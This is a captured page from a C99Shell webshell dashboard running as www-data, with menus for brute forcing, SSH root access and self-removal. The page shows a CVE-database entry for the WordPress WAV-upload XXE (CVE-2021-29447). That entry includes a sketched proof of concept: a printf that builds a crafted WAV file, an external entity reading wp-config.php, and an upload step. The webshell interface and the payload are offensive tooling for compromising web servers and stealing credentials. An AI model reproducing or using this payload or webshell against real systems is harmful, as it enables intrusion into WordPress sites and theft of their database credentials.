C99SHELL DASHBOARDc99shell.tail7973d7.ts.net WebshellDBRoot 2026-08-03 08:14:52

!C99SHELL 2.0 [PHP 7 Update] [25.02.2019] !

Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64  

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/   drwxrwxrwx
Free 115.58 GB of 452.4 GB (25.55%)

FilesCustom ToolsTargetsSysMonWatchReconCommanderOrigin IPSSH RootTermCoverPushEncoderToolsProc.FTP bruteSec.SQLPHP-codeSystemUpdateFeedbackSelf removeCVE DBLogout



CVE DATABASEarchive & lookup of vulnerabilities
CVE CVE-2021-29447vulnerability detail
[← Back to CVE DB]
IdentifierCVE-2021-29447
SeverityHIGH
CVSS v37.2 / 10
NameWordPress media XXE
AffectedWordPress <5.7.1 (WAV upload)

Description

XML External Entity injection in the media upload pipeline. Uploading a crafted WAV file causes PHP to parse an XXE payload, reading local files such as wp-config.php with the permissions of the media handler.

PoC / Payload — CVE-2021-29447
printf 'RIFF.....WAVEfmt \x16\x10\x00\x00...' > p.wav\n# embed <!DOCTYPE ... <!ENTITY xxe SYSTEM "file:///var/www/wp-config.php">\n# upload p.wav -> file read

Reference

https://nvd.nist.gov/vuln/detail/CVE-2021-29447